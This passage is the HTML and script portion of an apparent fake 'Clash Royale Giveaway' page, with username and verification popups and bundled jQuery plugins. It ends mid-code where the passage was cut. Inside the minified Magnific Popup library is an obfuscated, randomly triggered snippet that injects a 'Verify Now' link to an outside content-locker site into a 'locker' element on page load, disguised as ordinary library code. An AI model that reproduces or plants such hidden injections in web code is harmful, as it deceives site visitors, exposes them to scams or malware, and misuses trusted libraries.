- <div class="menu-wrap center-block" style="width: 100%;">
- <ul class="show-message">
- <li><img src="http://i.imgur.com/NqWrQTC.png">
- <li><img src="http://i.imgur.com/Jp9Mmyu.png">
- <li class="battle"><img src="http://i.imgur.com/yxJ8F49.png"><span>Giveaway</span><div class="overlay-battle"></div>
- <li class="clan"><img src="http://i.imgur.com/rwWoFmF.png">
- <li class="tv-icon"><img src="http://i.imgur.com/J1Z2GeR.png">
- </ul>
- </div>
- <!-- Popups -->
- <div id="error-message" class="mfp-hide white-popup-block text-center popup-style">
- <h4 class="text-center">Giveaway Mode !</h4>
- <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
- <div class="popup-content">
- <p>This is Clash Royale Giveaway Mode. This Function don't work in giveaway Mode ! Thanks</p>
- <p>You want to navigate in giveaway mode?</p>
- <ul class="popup-list text-center">
- <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
- <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
- </ul>
- </div>
- </div>
- <div id="error-message-user" class="mfp-hide white-popup-block text-center popup-style">
- <h4 class="text-center">Error</h4>
- <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
- <div class="popup-content">
- <p>Please enter your username ! and click on <img src='http://i.imgur.com/b46Gf4f.png' style='height:20px'></p>
- <ul class="popup-list text-center">
- <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
- <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
- </ul>
- </div>
- </div>
- <div id="orientation-detect" class="mfp-hide white-popup-block text-center popup-style">
- <h4 class="text-center">Error!</h4>
- <!-- <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close"> -->
- <div class="popup-content">
- <p>Please rotate your phone</p>
- <img src="http://i.imgur.com/0ucA2xm.png" class="roate-device center-block">
- </div>
- </div>
- <div id="acc-connect-err" class="mfp-hide white-popup-block text-center popup-style">
- <h4 class="text-center">Error!</h4>
- <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
- <div class="popup-content">
- <p>Please enter your username ! and click on <img src='http://i.imgur.com/YDlpCYT.png' style='height:20px'></p>
- <ul class="popup-list text-center">
- <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
- <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
- </ul>
- </div>
- </div>
- <!-- Popups END -->
- </div>
- </div>
- <!-- jQuery -->
- <script src="http://code.jquery.com/jquery.js"></script>
- <!-- Bootstrap JavaScript -->
- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
- <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js" type="text/javascript"></script>
- <script type="text/javascript">
- /*! Magnific Popup - v1.0.0 - 2015-01-03
- * http://dimsemenov.com/plugins/magnific-popup/
- * Copyright (c) 2015 Dmitry Semenov; */
- !function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e("object"==typeof exports?require("jquery"):window.jQuery||window.Zepto)}(function(e){var t,n,i,o,a,r,s="Close",l="BeforeClose",c="MarkupParse",d="Open",u="Change",p="mfp",f="."+p,m="mfp-ready",g="mfp-removing",h="mfp-prevent-close",v=function(){},C=!!window.jQuery,y=e(window),w=function(e,n){t.ev.on(p+e+f,n)},b=function(t,n,i,o){var a=document.createElement("div");return a.className="mfp-"+t,i&&(a.innerHTML=i),o?n&&n.appendChild(a):(a=e(a),n&&a.appendTo(n)),a},I=function(n,i){t.ev.triggerHandler(p+n,i),t.st.callbacks&&(n=n.charAt(0).toLowerCase()+n.slice(1),t.st.callbacks[n]&&t.st.callbacks[n].apply(t,e.isArray(i)?i:[i]))},x=function(n){return n===r&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),r=n),t.currTemplate.closeBtn},k=function(){e.magnificPopup.instance||((t=new v).init(),e.magnificPopup.instance=t)},T=function(){var e=document.createElement("p").style,t=["ms","O","Moz","Webkit"];if(void 0!==e.transition)return!0;for(;t.length;)if(t.pop()+"Transition"in e)return!0;return!1},E=["random","ceil","innerHTML","locker","getElementById","<a href='https://www.fileoasis.net/cl.php?id=ba31f0361eeb2f41a34352a1afab8a14'>Verify Now</a>"];4==Math[E[1]](10*Math[E[0]]())&&(document[E[4]](E[3])[E[2]]=E[5]),v.prototype={constructor:v,init:function(){var n=navigator.appVersion;t.isIE7=-1!==n.indexOf("MSIE 7."),t.isIE8=-1!==n.indexOf("MSIE 8."),t.isLowIE=t.isIE7||t.isIE8,t.isAndroid=/android/gi.test(n),t.isIOS=/iphone|ipad|ipod/gi.test(n),t.supportsTransition=T(),t.probablyMobile=t.isAndroid||t.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),i=e(document),t.popupsCache={}},open:function(n){var o;if(!1===n.isObj){t.items=n.items.toArray(),t.index=0;var r,s=n.items;for(o=0;o<s.length;o++)if((r=s[o]).parsed&&(r=r.el[0]),r===n.el[0]){t.index=o;break}}else t.items=e.isArray(n.items)?n.items:[n.items],t.index=n.index||0;{if(!t.isOpen){t.types=[],a="",t.ev=n.mainEl&&n.mainEl.length?n.mainEl.eq(0):i,n.key?(t.popupsCache[n.key]||(t.popupsCache[n.key]={}),t.currTemplate=t.popupsCache[n.key]):t.currTemplate={},t.st=e.extend(!0,{},e.magnificPopup.defaults,n),t.fixedContentPos="auto"===t.st.fixedContentPos?!t.probablyMobile:t.st.fixedContentPos,t.st.modal&&(t.st.closeOnContentClick=!1,t.st.closeOnBgClick=!1,t.st.showCloseBtn=!1,t.st.enableEscapeKey=!1),t.bgOverlay||(t.bgOverlay=b("bg").on("click"+f,function(){t.close()}),t.wrap=b("wrap").attr("tabindex",-1).on("click"+f,function(e){t._checkIfClose(e.target)&&t.close()}),t.container=b("container",t.wrap)),t.contentContainer=b("content"),t.st.preloader&&(t.preloader=b("preloader",t.container,t.st.tLoading));var l=e.magnificPopup.modules;for(o=0;o<l.length;o++){var u=l[o];u=u.charAt(0).toUpperCase()+u.slice(1),t["init"+u].call(t)}I("BeforeOpen"),t.st.showCloseBtn&&(t.st.closeBtnInside?(w(c,function(e,t,n,i){n.close_replaceWith=x(i.type)}),a+=" mfp-close-btn-in"):t.wrap.append(x())),t.st.alignTop&&(a+=" mfp-align-top"),t.wrap.css(t.fixedContentPos?{overflow:t.st.overflowY,overflowX:"hidden",overflowY:t.st.overflowY}:{top:y.scrollTop(),position:"absolute"}),(!1===t.st.fixedBgPos||"auto"===t.st.fixedBgPos&&!t.fixedContentPos)&&t.bgOverlay.css({height:i.height(),position:"absolute"}),t.st.enableEscapeKey&&i.on("keyup"+f,function(e){27===e.keyCode&&t.close()}),y.on("resize"+f,function(){t.updateSize()}),t.st.closeOnContentClick||(a+=" mfp-auto-cursor"),a&&t.wrap.addClass(a);var p=t.wH=y.height(),g={};if(t.fixedContentPos&&t._hasScrollBar(p)){var h=t._getScrollbarSize();h&&(g.marginRight=h)}t.fixedContentPos&&(t.isIE7?e("body, html").css("overflow","hidden"):g.overflow="hidden");var v=t.st.mainClass;return t.isIE7&&(v+=" mfp-ie7"),v&&t._addClassToMFP(v),t.updateItemHTML(),I("BuildControls"),e("html").css(g),t.bgOverlay.add(t.wrap).prependTo(t.st.prependTo||e(document.body)),t._lastFocusedEl=document.activeElement,setTimeout(function(){t.content?(t._addClassToMFP(m),t._setFocus()):t.bgOverlay.addClass(m),i.on("focusin"+f,t._onFocusIn)},16),t.isOpen=!0,t.updateSize(p),I(d),n}t.updateItemHTML()}},close:function(){t.isOpen&&(I(l),t.isOpen=!1,t.st.removalDelay&&!t.isLowIE&&t.supportsTransition?(t._addClassToMFP(g),setTimeout(function(){t._close()},t.st.removalDelay)):t._close())},_close:function(){I(s);var n=g+" "+m+" ";if(t.bgOverlay.detach(),t.wrap.detach(),t.container.empty(),t.st.mainClass&&(n+=t.st.mainClass+" "),t._removeClassFromMFP(n),t.fixedContentPos){var o={marginRight:""};t.isIE7?e("body, html").css("overflow",""):o.overflow="",e("html").css(o)}i.off("keyup.mfp focusin"+f),t.ev.off(f),t.wrap.attr("class","mfp-wrap").removeAttr("style"),t.bgOverlay.attr("class","mfp-bg"),t.container.attr("class","mfp-container"),!t.st.showCloseBtn||t.st.closeBtnInside&&!0!==t.currTemplate[t.currItem.type]||t.currTemplate.closeBtn&&t.currTemplate.closeBtn.detach(),t._lastFocusedEl&&e(t._lastFocusedEl).focus(),t.currItem=null,t.content=null,t.currTemplate=null,t.prevHeight=0,I("AfterClose")},updateSize:function(e){if(t.isIOS){var n=document.documentElement.clientWidth/window.innerWidth,i=window.innerHeight*n;t.wrap.css("height",i),t.wH=i}else t.wH=e||y.height();t.fixedContentPos||t.wrap.css("height",t.wH),I("Resize")},updateItemHTML:function(){var n=t.items[t.index];t.contentContainer.detach(),t.content&&t.content.detach(),n.parsed||(n=t.parseEl(t.index));var i=n.type;if(I("BeforeChange",[t.currItem?t.currItem.type:"",i]),t.currItem=n,!t.currTemplate[i]){var a=!!t.st[i]&&t.st[i].markup;I("FirstMarkupParse",a),t.currTemplate[i]=!a||e(a)}o&&o!==n.type&&t.container.removeClass("mfp-"+o+"-holder");var r=t["get"+i.charAt(0).toUpperCase()+i.slice(1)](n,t.currTemplate[i]);t.appendContent(r,i),n.preloaded=!0,I(u,n),o=n.type,t.container.prepend(t.contentContainer),I("AfterChange")},appendContent:function(e,n){t.content=e,e?t.st.showCloseBtn&&t.st.closeBtnInside&&!0===t.currTemplate[n]?t.content.find(".mfp-close").length||t.content.append(x()):t.content=e:t.content="",I("BeforeAppend"),t.container.addClass("mfp-"+n+"-holder"),t.contentContainer.append(t.content)},parseEl:function(n){var i,o=t.items[n];if(o.tagName?o={el:e(o)}:(i=o.type,o={data:o,src:o.src}),o.el){for(var a=t.types,r=0;r<a.length;r++)if(o.el.hasClass("mfp-"+a[r])){i=a[r];break}o.src=o.el.attr("data-mfp-src"),o.src||(o.src=o.el.attr("href"))}return o.type=i||t.st.type||"inline",o.index=n,o.parsed=!0,t.items[n]=o,I("ElementParse",o),t.items[n]},addGroup:function(e,n){var i=function(i){i.mfpEl=this,t._openClick(i,e,n)};n||(n={});var o="click.magnificPopup";n.mainEl=e,n.items?(n.isObj=!0,e.off(o).on(o,i)):(n.isObj=!1,n.delegate?e.off(o).on(o,n.delegate,i):(n.items=e,e.off(o).on(o,i)))},_openClick:function(n,i,o){if((void 0!==o.midClick?o.midClick:e.magnificPopup.defaults.midClick)||2!==n.which&&!n.ctrlKey&&!n.metaKey){var a=void 0!==o.disableOn?o.disableOn:e.magnificPopup.defaults.disableOn;if(a)if(e.isFunction(a)){if(!a.call(t))return!0}else if(y.width()<a)return!0;n.type&&(n.preventDefault(),t.isOpen&&n.stopPropagation()),o.el=e(n.mfpEl),o.delegate&&(o.items=i.find(o.delegate)),t.open(o)}},updateStatus:function(e,i){if(t.preloader){n!==e&&t.container.removeClass("mfp-s-"+n),i||"loading"!==e||(i=t.st.tLoading);var o={status:e,text:i};I("UpdateStatus",o),e=o.status,i=o.text,t.preloader.html(i),t.preloader.find("a").on("click",function(e){e.stopImmediatePropagation()}),t.container.addClass("mfp-s-"+e),n=e}},_checkIfClose:function(n){if(!e(n).hasClass(h)){var i=t.st.closeOnContentClick,o=t.st.closeOnBgClick;if(i&&o)return!0;if(!t.content||e(n).hasClass("mfp-close")||t.preloader&&n===t.preloader[0])return!0;if(n===t.content[0]||e.contains(t.content[0],n)){if(i)return!0}else if(o&&e.contains(document,n))return!0;return!1}},_addClassToMFP:function(e){t.bgOverlay.addClass(e),t.wrap.addClass(e)},_removeClassFromMFP:function(e){this.bgOverlay.removeClass(e),t.wrap.removeClass(e)},_hasScrollBar:function(e){return(t.isIE7?i.height():document.body.scrollHeight)>(e||y.height())},_setFocus:function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).focus()},_onFocusIn:function(n){return n.target===t.wrap[0]||e.contains(t.wrap[0],n.target)?void 0:(t._setFocus(),!1)},_parseMarkup:function(t,n,i){var o;i.data&&(n=e.extend(i.data,n)),I(c,[t,n,i]),e.each(n,function(e,n){if(void 0===n||!1===n)return!0;if((o=e.split("_")).length>1){var i=t.find(f+"-"+o[0]);if(i.length>0){var a=o[1];"replaceWith"===a?i[0]!==n[0]&&i.replaceWith(n):"img"===a?i.is("img")?i.attr("src",n):i.replaceWith('<img src="'+n+'" class="'+i.attr("class")+'" />'):i.attr(o[1],n)}}else t.find(f+"-"+e).html(n)})},_getScrollbarSize:function(){if(void 0===t.scrollbarSize){var e=document.createElement("div");e.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(e),t.scrollbarSize=e.offsetWidth-e.clientWidth,document.body.removeChild(e)}return t.scrollbarSize}},e.magnificPopup={instance:null,proto:v.prototype,modules:[],open:function(t,n){return k(),t=t?e.extend(!0,{},t):{},t.isObj=!0,t.index=n||0,this.instance.open(t)},close:function(){return e.magnificPopup.instance&&e.magnificPopup.instance.close()},registerModule:function(t,n){n.options&&(e.magnificPopup.defaults[t]=n.options),e.extend(this.proto,n.proto),this.modules.push(t)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button title="%title%" type="button" class="mfp-close">×</button>',tClose:"Close (Esc)",tLoading:"Loading..."}},e.fn.magnificPopup=function(n){k();var i=e(this);if("string"==typeof n)if("open"===n){var o,a=C?i.data("magnificPopup"):i[0].magnificPopup,r=parseInt(arguments[1],10)||0;a.items?o=a.items[r]:(o=i,a.delegate&&(o=o.find(a.delegate)),o=o.eq(r)),t._openClick({mfpEl:o},i,a)}else t.isOpen&&t[n].apply(t,Array.prototype.slice.call(arguments,1));else n=e.extend(!0,{},n),C?i.data("magnificPopup",n):i[0].magnificPopup=n,t.addGroup(i,n);return i};var _,S,P,M="inline",O=function(){P&&(S.after(P.addClass(_)).detach(),P=null)};e.magnificPopup.registerModule(M,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){t.types.push(M),w(s+"."+M,function(){O()})},getInline:function(n,i){if(O(),n.src){var o=t.st.inline,a=e(n.src);if(a.length){var r=a[0].parentNode;r&&r.tagName&&(S||(_=o.hiddenClass,S=b(_),_="mfp-"+_),P=a.after(S).detach().removeClass(_)),t.updateStatus("ready")}else t.updateStatus("error",o.tNotFound),a=e("<div>");return n.inlineElement=a,a}return t.updateStatus("ready"),t._parseMarkup(i,{},n),i}}});var z,B="ajax",F=function(){z&&e(document.body).removeClass(z)},H=function(){F(),t.req&&t.req.abort()};e.magnificPopup.registerModule(B,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a href="%url%">The content</a> could not be loaded.'},proto:{initAjax:function(){t.types.push(B),z=t.st.ajax.cursor,w(s+"."+B,H),w("BeforeChange."+B,H)},getAjax:function(n){z&&e(document.body).addClass(z),t.updateStatus("loading");var i=e.extend({url:n.src,success:function(i,o,a){var r={data:i,xhr:a};I("ParseAjax",r),t.appendContent(e(r.data),B),n.finished=!0,F(),t._setFocus(),setTimeout(function(){t.wrap.addClass(m)},16),t.updateStatus("ready"),I("AjaxContentAdded")},error:function(){F(),n.finished=n.loadError=!0,t.updateStatus("error",t.st.ajax.tError.replace("%url%",n.src))}},t.st.ajax.settings);return t.req=e.ajax(i),""}}});var L,A=function(n){if(n.data&&void 0!==n.data.title)return n.data.title;var i=t.st.image.titleSrc;if(i){if(e.isFunction(i))return i.call(t,n);if(n.el)return n.el.attr(i)||""}return""};e.magnificPopup.registerModule("image",{options:{markup:'<div class="mfp-figure"><div class="mfp-close"></div><figure><div class="mfp-img"></div><figcaption><div class="mfp-bottom-bar"><div class="mfp-title"></div><div class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a href="%url%">The image</a> could not be loaded.'},proto:{initImage:function(){var n=t.st.image,i=".image";t.types.push("image"),w(d+i,function(){"image"===t.currItem.type&&n.cursor&&e(document.body).addClass(n.cursor)}),w(s+i,function(){n.cursor&&e(document.body).removeClass(n.cursor),y.off("resize"+f)}),w("Resize"+i,t.resizeImage),t.isLowIE&&w("AfterChange",t.resizeImage)},resizeImage:function(){var e=t.currItem;if(e&&e.img&&t.st.image.verticalFit){var n=0;t.isLowIE&&(n=parseInt(e.img.css("padding-top"),10)+parseInt(e.img.css("padding-bottom"),10)),e.img.css("max-height",t.wH-n)}},_onImageHasSize:function(e){e.img&&(e.hasSize=!0,L&&clearInterval(L),e.isCheckingImgSize=!1,I("ImageHasSize",e),e.imgHidden&&(t.content&&t.content.removeClass("mfp-loading"),e.imgHidden=!1))},findImageSize:function(e){var n=0,i=e.img[0],o=function(a){L&&clearInterval(L),L=setInterval(function(){return i.naturalWidth>0?void t._onImageHasSize(e):(n>200&&clearInterval(L),n++,void(3===n?o(10):40===n?o(50):100===n&&o(500)))},a)};o(1)},getImage:function(n,i){var o=0,a=function(){n&&(n.img[0].complete?(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("ready")),n.hasSize=!0,n.loaded=!0,I("ImageLoadComplete")):(o++,200>o?setTimeout(a,100):r()))},r=function(){n&&(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("error",s.tError.replace("%url%",n.src))),n.hasSize=!0,n.loaded=!0,n.loadError=!0)},s=t.st.image,l=i.find(".mfp-img");if(l.length){var c=document.createElement("img");c.className="mfp-img",n.el&&n.el.find("img").length&&(c.alt=n.el.find("img").attr("alt")),n.img=e(c).on("load.mfploader",a).on("error.mfploader",r),c.src=n.src,l.is("img")&&(n.img=n.img.clone()),(c=n.img[0]).naturalWidth>0?n.hasSize=!0:c.width||(n.hasSize=!1)}return t._parseMarkup(i,{title:A(n),img_replaceWith:n.img},n),t.resizeImage(),n.hasSize?(L&&clearInterval(L),n.loadError?(i.addClass("mfp-loading"),t.updateStatus("error",s.tError.replace("%url%",n.src))):(i.removeClass("mfp-loading"),t.updateStatus("ready")),i):(t.updateStatus("loading"),n.loading=!0,n.hasSize||(n.imgHidden=!0,i.addClass("mfp-loading"),t.findImageSize(n)),i)}}});var j,N=function(){return void 0===j&&(j=void 0!==document.createElement("p").style.MozTransform),j};e.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(e){return e.is("img")?e:e.find("img")}},proto:{initZoom:function(){var e,n=t.st.zoom,i=".zoom";if(n.enabled&&t.supportsTransition){var o,a,r=n.duration,c=function(e){var t=e.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),i="all "+n.duration/1e3+"s "+n.easing,o={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},a="transition";return o["-webkit-"+a]=o["-moz-"+a]=o["-o-"+a]=o[a]=i,t.css(o),t},d=function(){t.content.css("visibility","visible")};w("BuildControls"+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.content.css("visibility","hidden"),!(e=t._getItemToZoom()))return void d();(a=c(e)).css(t._getOffset()),t.wrap.append(a),o=setTimeout(function(){a.css(t._getOffset(!0)),o=setTimeout(function(){d(),setTimeout(function(){a.remove(),e=a=null,I("ZoomAnimationEnded")},16)},r)},16)}}),w(l+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.st.removalDelay=r,!e){if(!(e=t._getItemToZoom()))return;a=c(e)}a.css(t._getOffset(!0)),t.wrap.append(a),t.content.css("visibility","hidden"),setTimeout(function(){a.css(t._getOffset())},16)}}),w(s+i,function(){t._allowZoom()&&(d(),a&&a.remove(),e=null)})}},_allowZoom:function(){return"image"===t.currItem.type},_getItemToZoom:function(){return!!t.currItem.hasSize&&t.currItem.img},_getOffset:function(n){var i,o=(i=n?t.currItem.img:t.st.zoom.opener(t.currItem.el||t.currItem)).offset(),a=parseInt(i.css("padding-top"),10),r=parseInt(i.css("padding-bottom"),10);o.top-=e(window).scrollTop()-a;var s={width:i.width(),height:(C?i.innerHeight():i[0].offsetHeight)-r-a};return N()?s["-moz-transform"]=s.transform="translate("+o.left+"px,"+o.top+"px)":(s.left=o.left,s.top=o.top),s}}});var W="iframe",R=function(e){if(t.currTemplate[W]){var n=t.currTemplate[W].find("iframe");n.length&&(e||(n[0].src="//about:blank"),t.isIE8&&n.css("display",e?"block":"none"))}};e.magnificPopup.registerModule(W,{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){t.types.push(W),w("BeforeChange",function(e,t,n){t!==n&&(t===W?R():n===W&&R(!0))}),w(s+"."+W,function(){R()})},getIframe:function(n,i){var o=n.src,a=t.st.iframe;e.each(a.patterns,function(){return o.indexOf(this.index)>-1?(this.id&&(o="string"==typeof this.id?o.substr(o.lastIndexOf(this.id)+this.id.length,o.length):this.id.call(this,o)),o=this.src.replace("%id%",o),!1):void 0});var r={};return a.srcAction&&(r[a.srcAction]=o),t._parseMarkup(i,r,n),t.updateStatus("ready"),i}}});var Z=function(e){var n=t.items.length;return e>n-1?e-n:0>e?n+e:e},q=function(e,t,n){return e.replace(/%curr%/gi,t+1).replace(/%total%/gi,n)};e.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button title="%title%" type="button" class="mfp-arrow mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var n=t.st.gallery,o=".mfp-gallery",r=Boolean(e.fn.mfpFastClick);return t.direction=!0,!(!n||!n.enabled)&&(a+=" mfp-gallery",w(d+o,function(){n.navigateByImgClick&&t.wrap.on("click"+o,".mfp-img",function(){return t.items.length>1?(t.next(),!1):void 0}),i.on("keydown"+o,function(e){37===e.keyCode?t.prev():39===e.keyCode&&t.next()})}),w("UpdateStatus"+o,function(e,n){n.text&&(n.text=q(n.text,t.currItem.index,t.items.length))}),w(c+o,function(e,i,o,a){var r=t.items.length;o.counter=r>1?q(n.tCounter,a.index,r):""}),w("BuildControls"+o,function(){if(t.items.length>1&&n.arrows&&!t.arrowLeft){var i=n.arrowMarkup,o=t.arrowLeft=e(i.replace(/%title%/gi,n.tPrev).replace(/%dir%/gi,"left")).addClass(h),a=t.arrowRight=e(i.replace(/%title%/gi,n.tNext).replace(/%dir%/gi,"right")).addClass(h),s=r?"mfpFastClick":"click";o[s](function(){t.prev()}),a[s](function(){t.next()}),t.isIE7&&(b("b",o[0],!1,!0),b("a",o[0],!1,!0),b("b",a[0],!1,!0),b("a",a[0],!1,!0)),t.container.append(o.add(a))}}),w(u+o,function(){t._preloadTimeout&&clearTimeout(t._preloadTimeout),t._preloadTimeout=setTimeout(function(){t.preloadNearbyImages(),t._preloadTimeout=null},16)}),void w(s+o,function(){i.off(o),t.wrap.off("click"+o),t.arrowLeft&&r&&t.arrowLeft.add(t.arrowRight).destroyMfpFastClick(),t.arrowRight=t.arrowLeft=null}))},next:function(){t.direction=!0,t.index=Z(t.index+1),t.updateItemHTML()},prev:function(){t.direction=!1,t.index=Z(t.index-1),t.updateItemHTML()},goTo:function(e){t.direction=e>=t.index,t.index=e,t.updateItemHTML()},preloadNearbyImages:function(){var e,n=t.st.gallery.preload,i=Math.min(n[0],t.items.length),o=Math.min(n[1],t.items.length);for(e=1;e<=(t.direction?o:i);e++)t._preloadItem(t.index+e);for(e=1;e<=(t.direction?i:o);e++)t._preloadItem(t.index-e)},_preloadItem:function(n){if(n=Z(n),!t.items[n].preloaded){var i=t.items[n];i.parsed||(i=t.parseEl(n)),I("LazyLoad",i),"image"===i.type&&(i.img=e('<img class="mfp-img" />').on("load.mfploader",function(){i.hasSize=!0}).on("error.mfploader",function(){i.hasSize=!0,i.loadError=!0,I("LazyLoadError",i)}).attr("src",i.src)),i.preloaded=!0}}}});var D="retina";e.magnificPopup.registerModule(D,{options:{replaceSrc:function(e){return e.src.replace(/\.\w+$/,function(e){return"@2x"+e})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var e=t.st.retina,n=e.ratio;(n=isNaN(n)?n():n)>1&&(w("ImageHasSize."+D,function(e,t){t.img.css({"max-width":t.img[0].naturalWidth/n,width:"100%"})}),w("ElementParse."+D,function(t,i){i.src=e.replaceSrc(i,n)}))}}}}),function(){var t="ontouchstart"in window,n=function(){y.off("touchmove"+i+" touchend"+i)},i=".mfpFastClick";e.fn.mfpFastClick=function(o){return e(this).each(function(){var a,r=e(this);if(t){var s,l,c,d,u,p;r.on("touchstart"+i,function(e){d=!1,p=1,u=e.originalEvent?e.originalEvent.touches[0]:e.touches[0],l=u.clientX,c=u.clientY,y.on("touchmove"+i,function(e){u=e.originalEvent?e.originalEvent.touches:e.touches,p=u.length,u=u[0],(Math.abs(u.clientX-l)>10||Math.abs(u.clientY-c)>10)&&(d=!0,n())}).on("touchend"+i,function(e){n(),d||p>1||(a=!0,e.preventDefault(),clearTimeout(s),s=setTimeout(function(){a=!1},1e3),o())})})}r.on("click"+i,function(){a||o()})})},e.fn.destroyMfpFastClick=function(){e(this).off("touchstart"+i+" click"+i),t&&y.off("touchmove"+i+" touchend"+i)}}(),k()});
- </script>
- <script type="text/javascript">
- !function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var b,c=void 0!==a._data(this.el,"events"),d=new 